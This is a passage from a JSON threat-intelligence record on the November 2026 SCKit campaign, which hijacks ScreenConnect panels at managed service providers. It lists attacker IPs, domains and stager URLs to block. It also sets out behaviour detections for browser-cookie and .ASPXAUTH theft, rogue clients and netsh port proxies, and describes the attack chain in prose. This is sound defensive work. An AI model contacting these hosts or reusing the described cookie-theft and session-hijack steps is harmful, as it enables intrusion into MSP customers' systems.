credentials or hijacked operator sessions. With panel access, the actor uses Run Command to push a second, rogue ScreenConnect client to every managed endpoint, giving an independent backdoor that no longer needs the MSP's panel. If a technician then opens an interactive ScreenConnect session to investigate, the malware rides that session back onto the technician's workstation, drops sqlite3.exe to scrape saved browser sessions and tokens, and pivots into any other ScreenConnect panels the technician can reach. Persistence is a TrapWatch scheduled task running as SYSTEM every 10 seconds, files under C:\\ProgramData\\RelayTrap\\ and %TEMP%\\sckit-*, and a RelayTrapLiteAlert Run-key value; endpoints reinfect within minutes if isolation is lifted before these are removed. ConnectWise confirmed the campaign in a Trust Center advisory at 22:45 UTC on 11 November, said the actor appears to deploy the extra remote-access software through third-party extensions, and disabled five of them (Labtech Plus, RMM Plus, RMM+, RMM Plus Password Link and RMM+ Password Link) in about 400 partner environments; on-premises partners must disable them themselves. Sophos X-Ops independently observed the same activity: in one case curl.exe downloaded ScreenConnect.ClientSetup.msi from 185.99.255.28 to C:\\Windows\\TEMP\\sc.msi, msiexec.exe installed it silently, and PowerShell with execution-policy bypass fetched the second stage from the ns.mo7sen.dev stager. Sophos saw the commands come from three ScreenConnect instance IDs that are likely compromised MSP instances (d905b2b1b165d0a9, 4b8f4089ddaac6a9 and df1f7ef0cfacd0d8) and install the same two rogue client IDs Huntress reported. Huntress's customer advisory, updated at 00:29 UTC on 12 November, adds that the toolkit installs a modified client that impersonates the MSP's own client and waits for a technician to connect. Because Huntress, Sophos and now Blackpoint saw them independently, the attacker relay 185.99.255.28, the ns.mo7sen.dev stager and its EadF.php URLs are high confidence and on the block-now list, and the two rogue client IDs are high-confidence hunting leads; the secondary C2 server, the dynamic-DNS and payproofkit hostnames and cdn007-digitaldownloads.com are also listed by Blackpoint and are on the block list at high confidence. BleepingComputer found a July 2026 SSA-themed batch file on VirusTotal that installs ScreenConnect from cdn007-digitaldownloads.com, contacts amexsafekeyupdate.com and checks for rogue client ID ed630cc2c873b091; whether that earlier activity belongs to this campaign is not confirmed, so its domain, hash and file name are alert-only. Huntress's full SCKit write-up, published on its blog late on 11 November, puts the count at 288 endpoints in 48 organisations within 90 minutes, says the current ScreenConnect releases 26.6.6.9747 and 26.7.6.9783 are affected, and breaks down the 16-file toolkit: the dropper writes C:\\Windows\\Temp\\sckit-run.bat, fetches a host-keyed kit whose decryption key comes back in the server's response headers, and a later stage pulls sqlite3.exe from EadF.php?p=5 to read browser cookie databases. Huntress found that the worm's attempt to take over technician consoles failed in every host log it recovered, but it still advises against triaging over ScreenConnect. It also published 16 toolkit hashes; because the scripts are rebuilt per host and RelayTrap.exe is compiled on each machine, these are alert-only hunting leads, and the p=5 URL and cdn007-digitaldownloads.com (now listed by Huntress as C2 and recovered again by Blackpoint) are on the block list. Blackpoint Cyber's Adversary Pursuit Group, writing on 11 November, recovered the same toolkit from the ns.mo7sen.dev staging endpoint and showed that RelayTrap.cs exploits CVE-2026-84869 (CVSS 9.9), a Guest-to-Host file transfer and execute flaw fixed in ScreenConnect 26.6.5.9742 and later. In a controlled test a current patched Host never requested or executed the payload, and Blackpoint's SOC has not seen successful Guest-to-Host propagation; the trap still tries the transfer about 2.5 seconds after a technician session starts, sending Run-Lateral-Full.bat toward the Host and then pulling a loader from EadF.php. Follow-on scripts (Panel-Lateral.ps1 and LabConfig.ps1) try to recover the technician's .ASPXAUTH cookie from browser data and memory and replay it against the panel; the patch does not stop that session hijack, and no successful technician pivot has been observed. Because Blackpoint independently recovered the same relay, staging host, Access installer sources, dynamic-DNS hostnames and rogue client IDs, those indicators stay on the block list at high confidence. The Hacker News reported the same CVE attribution on 12 November. Microsoft Threat Intelligence's analysis on 13 November confirms the same relay, panel, staging and dynamic-DNS infrastructure, the two rogue client IDs and the toolkit hashes, and adds the sc.msi installer hash and SHA1 values, which are alert-only hunting leads. Huntress's 13 November update reports a second wave from 16:12 UTC hitting 205 more hosts in 41 organisations, installing a rogue UpdateConnect client from 185.241.211.197 (1337 Services bulletproof hosting, inside a Spamhaus DROP range) that relays to 007.from-ak.com on port 88 behind a netsh portproxy and a Windows Update Agent service; both are on the block list at high confidence.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [ "Managed service providers (MSPs)", "MSP-managed customer organisations" ], "note": "Huntress tracks six compromised MSPs and more than 286 endpoints across 47 organisations using cloud-hosted ScreenConnect, with more victims likely; Sophos saw the same activity; no countries are named.", "source": { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "name": "Reddit r/msp" } }, "mitre": [ { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1539", "name": "Steal Web Session Cookie", "url": "https://attack.mitre.org/techniques/T1539/" }, { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1072", "name": "Software Deployment Tools", "url": "https://attack.mitre.org/techniques/T1072/" }, { "id": "T1219", "name": "Remote Access Software", "url": "https://attack.mitre.org/techniques/T1219/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1547.001", "name": "Registry Run Keys / Startup Folder", "url": "https://attack.mitre.org/techniques/T1547/001/" }, { "id": "T1555.003", "name": "Credentials from Web Browsers", "url": "https://attack.mitre.org/techniques/T1555/003/" }, { "id": "T1021", "name": "Remote Services", "url": "https://attack.mitre.org/techniques/T1021/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" } ], "recommended_actions": [ "Check that the Labtech Plus, RMM Plus, RMM+, RMM Plus Password Link and RMM+ Password Link extensions are disabled (on-premises partners must do this themselves), keep their installation records and logs, and do not re-enable them until ConnectWise says it is safe.", "Do not triage suspected hosts through ScreenConnect: use your EDR live-response shell, WinRM or another out-of-band tool, because an interactive session can carry the infection back to the technician's workstation.", "Revoke all active ScreenConnect web sessions, rotate ScreenConnect credentials, verify MFA in your identity provider, and audit Run Command and Toolbox history for mass executions you did not start.", "Block 185.99.255.28, ns.mo7sen.dev and the EadF.php stager URLs now (Huntress, Sophos and Blackpoint all saw them), also block 155.94.150.39, newnewnew.gotdns.org, soxnewwork.homedns.org, sc.payproofkit.com and cdn007-digitaldownloads.com, block only these exact dynamic-DNS hostnames, not gotdns.org or homedns.org, and alert on amexsafekeyupdate.com.", "On endpoints, remove the rogue ScreenConnect client service (client IDs 2588ef5c15954b10 and ed630cc2c873b091), the TrapWatch scheduled task, C:\\ProgramData\\RelayTrap\\, %TEMP%\\sckit-* and the RelayTrapLiteAlert Run value before lifting isolation.", "On technician workstations, look for sqlite3.exe or PowerShell reading browser cookie stores or .ASPXAUTH, for Panel-Lateral.ps1, LabConfig.ps1, Run-Lateral-Full.bat or %TEMP%\\sckit-decoder.ps1, and for the toolkit hashes Huntress and Blackpoint published (a miss does not clear a host, because they change per host), then reset browser-stored sessions and tokens.", "Patch technician-side Host and endpoint-side Guest clients to ScreenConnect 26.6.5.9742 or later (CVE-2026-84869). The patch blocks RelayTrap's Guest-to-Host execution but does not protect a hijacked technician session; if a technician connected to a suspected host, revoke ScreenConnect web sessions from a clean device and rotate credentials." ], "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "name": "Reddit r/msp" }, { "url": "https://www.connectwise.com/company/trust/advisories", "label": "ConnectWise Trust Center – ScreenConnect security advisory (11 Nov 2026)", "name": "ConnectWise" }, { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "label": "Sophos X-Ops – Malicious ScreenConnect deployments observed", "name": "Sophos" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "label": "Huntress Support – 2026 November ScreenConnect advisory", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "label": "Microsoft Threat Intelligence – SCKit abuses ScreenConnect to deploy remote access and target technician sessions", "name": "Microsoft" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "label": "BleepingComputer – Active ScreenConnect attacks breach MSPs, impact dozens of organizations", "name": "BleepingComputer" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "name": "Huntress (2)" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "label": "Blackpoint Cyber – ScreenConnect Attack: SCKit Turns Remote Support Into an Attack Platform", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "label": "The Hacker News – SCKit Malware Turns ScreenConnect Support Sessions Into Potential MSP Attack Paths", "name": "The Hacker News" } ], "indicator_count": 57, "block_now_count": 12, "hunt_count": 45, "hunt_counts": { "alert": 45 }, "indicator_counts": { "sha256": 22, "filename": 13, "domain": 7, "other": 6, "ipv4": 3, "sha1": 3, "url": 3 }, "ioas": [ { "artefact": "ScreenConnect.ClientSetup.msi installed by an existing ScreenConnect client (Run Command pushing a second client), especially with c=Exploited in the installer query", "log_source": "Defender XDR DeviceProcessEvents; ScreenConnect audit log (Run Command and Toolbox history)", "why": "With panel access the actor uses Run Command to push a second, rogue ScreenConnect client to every managed endpoint; Huntress lists the installer pattern /Bin/ScreenConnect.ClientSetup.msi?...&c=Exploited and the actor name Addmin. Legitimate MSP upgrades also run this installer, so judge the relay host and whether a change was scheduled.", "action": "alert", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "Second ScreenConnect client pushed by Run Command", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "ScreenConnect client service whose command line carries the rogue client IDs 2588ef5c15954b10 or ed630cc2c873b091, or a relay (h=) of 185.99.255.28 or the campaign C2 hostnames", "log_source": "Defender XDR DeviceProcessEvents", "why": "Every ScreenConnect client names its relay in the h= value of the service command line. Huntress published two rogue client IDs and the attacker relay, so a client pointing there is the backdoor itself.", "action": "alert", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "Rogue ScreenConnect client IDs or attacker relay", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "TrapWatch scheduled task running as SYSTEM every 10 seconds", "log_source": "Defender XDR DeviceEvents (ScheduledTaskCreated) and DeviceProcessEvents", "why": "Huntress names the TrapWatch task as the persistence that reinfects endpoints within minutes of isolation being lifted.", "action": "alert", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "TrapWatch scheduled task persistence", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files under C:\\ProgramData\\RelayTrap\\ or %TEMP%\\sckit-*", "log_source": "Defender XDR DeviceFileEvents", "why": "Huntress lists both locations as campaign artefacts that must be wiped before an endpoint is released.", "action": "alert", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "RelayTrap and sckit staging files", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "RelayTrapLiteAlert value in a registry Run key", "log_source": "Defender XDR DeviceRegistryEvents", "why": "Huntress names this Run-key value as part of the persistence to remove.", "action": "alert", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "RelayTrapLiteAlert Run-key persistence", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "sqlite3.exe run on a device within 60 minutes of a ScreenConnect process on the same device (technician reverse pivot)", "log_source": "Defender XDR DeviceProcessEvents (join on DeviceId within 60 minutes)", "why": "When a technician opens an interactive ScreenConnect session to an infected endpoint, the malware rides the session back, drops sqlite3.exe to scrape saved browser sessions and tokens, then pivots into other panels. Huntress does not give a time window; 60 minutes is a starting point to tune. Developer and database tools can run sqlite3.exe, so exclude known users and paths.", "action": "hunt", "has_query": true, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "sqlite3 after ScreenConnect activity (reverse pivot)", "queries": [ "KQL", "SPL" ] }, { "artefact": "Mass Run Command or Toolbox executions in the ScreenConnect audit log that no technician started", "log_source": "ScreenConnect audit and session logs", "why": "Huntress asks every ScreenConnect user to check Run Command history now, even with no alert, because the actor pushes the rogue client to all endpoints at once.", "action": "hunt", "has_query": false, "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_name": "Reddit r/msp", "title": "Unexpected mass Run Command or Toolbox use", "queries": [] }, { "artefact": "A ScreenConnect Host client receiving a file transfer and a Run from a Guest within seconds of a session starting, often Run-Lateral-Full.bat about 2.5 seconds after connect", "log_source": "ScreenConnect audit log (event ID 201 in session context); Defender XDR DeviceFileEvents and DeviceProcessEvents on technician workstations", "why": "Blackpoint found that RelayTrap replaces the legitimate Guest and, after a 2.5-second delay, tries a Guest-to-Host file transfer and execute (CVE-2026-84869) toward the connecting technician, typically sending Run-Lateral-Full.bat, which then pulls a loader from ns.mo7sen.dev/EadF.php. A patched Host (26.6.5.9742 or later) blocks the exploit; Blackpoint and Huntress have not observed a successful Guest-to-Host. The trap still attempts the transfer against a patched Host.", "action": "alert", "has_query": true, "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_name": "Blackpoint Cyber", "title": "Guest-to-Host file transfer and Run within seconds of connect", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": ".ASPXAUTH cookie access by a non-browser process, or PowerShell reading browser cookie stores (Cookies, Login Data, Web Data) on a technician workstation", "log_source": "Defender XDR DeviceProcessEvents and DeviceFileEvents on technician workstations", "why": "If RelayTrap lands on the technician's Host, Panel-Lateral.ps1 and LabConfig.ps1 search local browser data and process memory for ScreenConnect .ASPXAUTH cookies and replay them against the panel. Blackpoint has not confirmed a successful cookie recovery or panel fan-out.", "action": "alert", "has_query": true, "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_name": "Blackpoint Cyber", "title": "Non-browser or PowerShell access to .ASPXAUTH or cookie stores", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A ScreenConnect panel session replayed from a new IP address or user agent", "log_source": "ScreenConnect audit and session logs; identity-provider sign-in logs for the panel", "why": "After stealing an .ASPXAUTH cookie, SCKit is written to reuse the technician's already authenticated management session to push commands to other endpoints. A session that continues from a new IP or user agent, without a corresponding interactive login, is the fan-out signal. No successful technician pivot has been observed.", "action": "hunt", "has_query": false, "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_name": "Blackpoint Cyber", "title": "ScreenConnect panel session replayed from a new IP or user agent", "queries": [] }, { "artefact": "ScreenConnect Host or Guest clients older than 26.6.5.9742 (CVE-2026-84869). The patch blocks RelayTrap's Guest-to-Host execution but does not protect a hijacked technician session", "log_source": "ScreenConnect inventory, package and agent version reports", "why": "Blackpoint confirmed that RelayTrap targets CVE-2026-84869 (CVSS 9.9) and that a current patched Host does not request or execute the payload. Clients must be on 26.6.5.9742 or later, and Host clients may need a reinstall. Patching does not revoke a stolen .ASPXAUTH session.", "action": "hunt", "has_query": false, "source_url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "source_name": "Blackpoint Cyber", "title": "Unpatched ScreenConnect clients (CVE-2026-84869)", "queries": [] }, { "artefact": "netsh interface portproxy rule that redirects 127.0.0.1:88 to a public IP, or a rogue UpdateConnect.ClientService.exe running from a C:\\ProgramData\\Windows Update Agent (...) folder", "log_source": "Defender XDR DeviceProcessEvents", "why": "In the 13 Nov 2026 SCKit wave Huntress saw a batch script in the ScreenConnect client folder launch msiexec to install UpdateConnect.ClientSetup.msi (c=ExploitedNOTUSA), a netsh portproxy from 127.0.0.1:88 to 185.241.211.197:80, a hosts-file change, and a LocalSystem service named Windows Update Agent running UpdateConnect.ClientService.exe. The legitimate ScreenConnect client is never named UpdateConnect and Windows has no service binary under that folder, so the file-name and folder match is sharp; the portproxy clause is limited to loopback listen addresses with a non-private connect address, and IIS/WSL or developer port forwards that point at internal hosts are excluded. Expected false positives: admin port forwards from loopback to a public jump host.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_name": "Huntress", "title": "netsh interface portproxy rule that redirects 127.0.0.1:88 to a public IP", "queries": [ "KQL" ] } ], "ioa_count": 12, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/block_now.txt", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/defender_xdr_indicators.csv", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.kql", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.spl", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt_raw.spl", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/hunt.yaral", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/iocs.csv", "download": "ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-11/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign", "share_url": "https://iocwatch.com/t/ScreenConnect-Cloud-Panel-Hijack-MSP-Rogue-Client-Campaign/", "indicators": [ { "value": "185.99.255.28", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Attacker ScreenConnect relay (hostname screen) that serves the rogue client installer and receives the rogue clients pushed through hijacked MSP panels; Sophos saw curl.exe download ScreenConnect.ClientSetup.msi from it.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress (2)" }, { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "155.94.150.39", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Secondary C2 server (hostname WIN-FB5CKHMU4E1) behind sc.payproofkit.com in the ScreenConnect panel-hijack campaign.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress (2)" } ] }, { "value": "newnewnew.gotdns.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "C2 hostname used by the rogue ScreenConnect clients in the panel-hijack campaign against MSPs.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress (2)" } ] }, { "value": "soxnewwork.homedns.org", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "C2 hostname used by the rogue ScreenConnect clients in the panel-hijack campaign against MSPs.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress (2)" } ] }, { "value": "sc.payproofkit.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Secondary C2 hostname for the ScreenConnect panel-hijack campaign, hosted on 155.94.150.39.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://support.huntress.io/hc/en-us/articles/57422935234195-2026-November-ScreenConnect", "name": "Huntress" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress (2)" } ] }, { "value": "cdn007-digitaldownloads.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Configured Access MSI source and C2 domain for the ScreenConnect panel-hijack campaign; Huntress listed it as C2 and Blackpoint APG retrieved a configured installer from it.", "source_url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "source_label": "Huntress – SCKit worm installs rogue ScreenConnect clients and session cookie relays", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" } ] }, { "value": "https://ns.mo7sen.dev/EadF.php?p=4", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Stager URL that PowerShell (run with execution-policy bypass) fetches the second-stage toolkit from in the ScreenConnect panel-hijack campaign.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" }, { "url": "https://blackpointcyber.com/blog/screenconnect-attack-sckit/", "name": "Blackpoint Cyber" }, { "url": "https://thehackernews.com/2026/11/sckit-malware-targets-screenconnect.html", "name": "The Hacker News" }, { "url": "https://www.bleepingcomputer.com/news/security/active-screenconnect-attacks-breach-msps-impact-dozens-of-organizations/", "name": "BleepingComputer" }, { "url": "https://www.connectwise.com/company/trust/advisories", "name": "ConnectWise" }, { "url": "https://www.huntress.com/blog/sckit-worm-rogue-screenconnect", "name": "Huntress" }, { "url": "https://www.microsoft.com/en-us/security/blog/2026/11/13/sckit-abuses-screenconnect-deploy-remote-access-target-technician-sessions/", "name": "Microsoft" }, { "url": "https://www.sophos.com/en-us/blog/malicious-screenconnect-deployments-observed", "name": "Sophos" } ] }, { "value": "Panel-Lateral.ps1", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Script the actor uses to pivot from a compromised technician workstation into other ScreenConnect panels.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" } ] }, { "value": "Run-Lateral-Full.bat", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Batch file used for lateral movement in the ScreenConnect panel-hijack campaign.", "source_url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "source_label": "Huntress SOC on r/msp – Active malware campaign abusing ScreenConnect", "source_name": "Reddit r/msp", "sources": [ { "url": "https://www.reddit.com/r/msp/comments/1xts3f2/active_malware_campaign_abusing_screenconnect/", "name": "Reddit r/msp" } ] }, { "value": "runnew.cmd", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Command script dropped in the ScreenConnect panel-hijack campaign.", "source_url": 